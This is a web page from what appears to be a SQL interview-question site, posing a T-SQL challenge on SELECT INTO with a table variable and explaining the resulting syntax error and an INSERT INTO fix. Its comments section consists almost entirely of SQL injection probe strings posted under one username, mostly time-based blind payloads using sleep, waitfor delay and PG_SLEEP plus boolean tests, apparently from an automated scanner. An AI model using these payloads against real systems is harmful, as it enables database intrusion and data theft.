What will be the result of the following T-SQL?

DECLARE @t TABLE (CustomerId int, FirstName varchar(50), LastName varchar(50))

SELECT TOP(100) CustomerId, FirstName, LastName INTO @t
FROM Customer WHERE Country Like 'U%'
 

Experience Level: Senior
Tags: Code challengeDatabasesMS SQL ServerSQL

Answer

Answer

Watch out, there's a trap. SELECT INTO creates new table and inserts data into it. The problem here is that you cannot create table variable @t. It already exists. You can't use SELECT INTO with table variables at all. You can use it to create a table or a temporary table.

The result of the T-SQL will be Incorrect syntax near '@t'.

Now how to fix it?

You could use something like this: 

DECLARE @t TABLE (CustomerId int, FirstName varchar(50), LastName varchar(50))

INSERT INTO @t (CustomerId, FirstName, LastName)
SELECT TOP(100) CustomerId, FirstName, LastName FROM Customer WHERE Country Like 'U%'

The columns are defined explicitly in INSERT INTO on purpose. You could ommit them but it's not a good practice as if someone changes the order of the columns in the table variable, you could get unexpected errors or side effects.

Finally, will the code work with INSERT INTO? It's a good question that is hard to answer without knowing whether the table Customer exists and what is its structure...

Comments

No Comments Yet.
Be the first to tell us what you think.

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e